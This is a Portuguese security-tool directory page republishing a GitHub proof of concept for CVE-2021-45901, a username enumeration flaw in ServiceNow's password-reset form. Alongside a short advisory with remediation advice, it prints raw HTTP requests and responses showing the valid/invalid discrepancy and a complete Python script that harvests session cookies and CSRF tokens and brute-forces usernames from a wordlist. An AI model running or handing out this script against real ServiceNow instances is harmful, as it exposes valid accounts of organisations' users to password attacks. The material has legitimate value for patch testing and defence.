Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-45901 — Exploit automatizado de enumeração de nomes de usuário para ServiceNow (CVE-2021-45901) usando detecção de discrepância na resposta HTTP através do formulário de redefinição de senha. | Kitploit
Ferramentas/GitHubGitHub/9lyph/cve-2021-45901
OSINT (Inteligência de Fontes Abertas)Análise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança WebTestes de Penetração
GitHub9lyph/cve-2021-45901

CVE-2021-45901

Exploit automatizado de enumeração de nomes de usuário para ServiceNow (CVE-2021-45901) usando detecção de discrepância na resposta HTTP através do formulário de redefinição de senha.

Ver Repositório
2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-45901 (ServiceNow - Enumeração de Nomes de Usuário)

service-now

Código PoC

enumSNOWUsers.py - Enumerador de Usuários SNOW

Título

Vulnerabilidade de Enumeração de Nomes de Usuário encontrada no ServiceNow

Publicado: Versão: 1.0

Fornecedor: ServiceNow

Produto: ServiceNow (https://www.servicenow.com/)

Versão afetada: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)

Descrição do Produto:

A ServiceNow é uma empresa americana de software sediada em Santa Clara, Califórnia, que desenvolve uma plataforma de computação em nuvem para ajudar empresas a gerenciar fluxos de trabalho digitais para operações empresariais.

Referências

Exploit-DB

Descoberta

Enumeração de Nomes de Usuário (Não Autenticada)

CVE: CVE-2021-45901

CWE: CWE-200: Exposição de Informações Sensíveis a um Ator Não Autorizado

Descrição

A vulnerabilidade descoberta no ServiceNow (Orlando) permite a enumeração bem-sucedida de nomes de usuário, utilizando uma lista de palavras. Usando uma sessão não autenticada e navegando para o formulário de redefinição de senha, é possível inferir um nome de usuário válido. Isso é alcançado através do exame dos dados de resposta HTTP POST inicialmente acionados pelo formulário web de redefinição de senha. Esta resposta difere dependendo da existência do nome de usuário. NOTA: Para automatizar este processo, são necessários um Cookie de Sessão válido (JSESSIONID), Token CSRF (pwd_csrf_token) e X-UserToken (X-UserToken). Todos esses objetos podem ser recuperados do código do lado do cliente.

Exemplo

CWE-203: Discrepância Observável

O seguinte ilustra as discrepâncias observáveis nos Dados de Resposta HTTP POST, usados para inferir um nome de usuário válido vs não válido.

root@kitploit:~
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default

Response (Valid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

Response (Invalid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

Etapas de Remediação

Atualizar para "Rome"

  • Introdução de captcha na versão "Rome" do software
  • Respostas HTTP genéricas que ocultam respostas de usuários válidos
  • Ofuscação do código do lado do cliente para manter tokens de sessão, cookies e tokens CSRF ocultos no código do lado do cliente
  • Introdução de um mecanismo de hash no lado do servidor para fazer hash de objetos pertinentes que podem ser revertidos no lado do cliente

Código PoC (Enumerador de Nomes de Usuário)

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid 
1. JSESSION (anonymous)
2. X-UserToken 
3. CSRF Token

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Decription: SNOW Username Enumerator                                            |")
    print ("|   Usage : "+sys.argv[0]+"                                                        |")
    print ("|   Prequisite: \'users.txt\' needs to contain list of users                          |")    
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    proxies = {
        "http":"http://127.0.0.1:8080/",
        "https":"http://127.0.0.1:8080/"
    }
    url = "http://<redacted>/"
    try:
        # s = requests.Session()
        # s.verify = False
        r = requests.get(url, timeout=10, verify=False, proxies=proxies)
        JSESSIONID = r.cookies["JSESSIONID"]
        glide_user_route = r.cookies["glide_user_route"]
        startTime = (str(time.time_ns()))
        # print (startTime[:-6])
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)

    with open ("users.txt", "r") as f:
        usernames = f.readlines()
        print (f"[+] Brute forcing ....")
        for users in usernames:
            url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
            headers1 = {
                "Host": "<redacted>",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "Connection": "close",
                "Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
                }

            try:
                # s = requests.Session()
                # s.verify = False
                r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
                obj1 = re.findall(r"pwd_csrf_token", r.text)
                obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
                tokenIndex = (r.text.index(obj1[0]))
                startTime2 = (str(time.time_ns()))
                # userTokenIndex = (r.text.index(obj2[0]))
                # userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
                token = (r.text[tokenIndex+45:tokenIndex+73])
                url = "http://<redacted>/xmlhttp.do"
                headers2 = {
                    "Host": "<redacted>",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                    "Accept": "*/*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                    "Content-Length": "786",
                    "Origin": "http://<redacted>/",
                    "Connection": "keep-alive",
                    # "X-UserToken":""+userToken+"",
                    "Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
                    }

                data = {
                    "sysparm_processor": "PwdAjaxVerifyIdentity",
                    "sysparm_scope": "global",
                    "sysparm_want_session_messages": "true",
                    "sysparm_name":"verifyIdentity",
                    "sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
                    "sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
                    "sysparm_user_id_0":""+users.strip()+"",
                    "sysparm_identification_number":"1",
                    "sysparam_pwd_csrf_token":""+token+"",
                    "ni.nolog.x_referer":"ignore",
                    "x_referer":"$pwd_reset.do?sysparm_url=ss_default"
                    }

                payload_str = urllib.parse.urlencode(data, safe=":+")

            except requests.exceptions.Timeout:
                print ("[!] Connection to host timed out !")
                sys.exit(1)

            try:
                # s = requests.Session()
                # s.verify = False
                time.sleep(2)
                r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
                if "500" in r.text:
                    print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                elif "200" in r.text:
                    print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                else:
                    print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
            except KeyboardInterrupt:
                sys.exit()
            except requests.exceptions.Timeout:
                print ("[!] Connection to host timed out !")
                sys.exit(1)
            except Exception as e:
                print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)

if __name__ == "__main__":
    main ()

Enumeração

snow-enum

Vídeo Exploit PoC

Descobridor/Crédito:

Victor Hanna da Exploit Security

Siga-me em

Mastodon Linkedin Youtube

Baixar ferramenta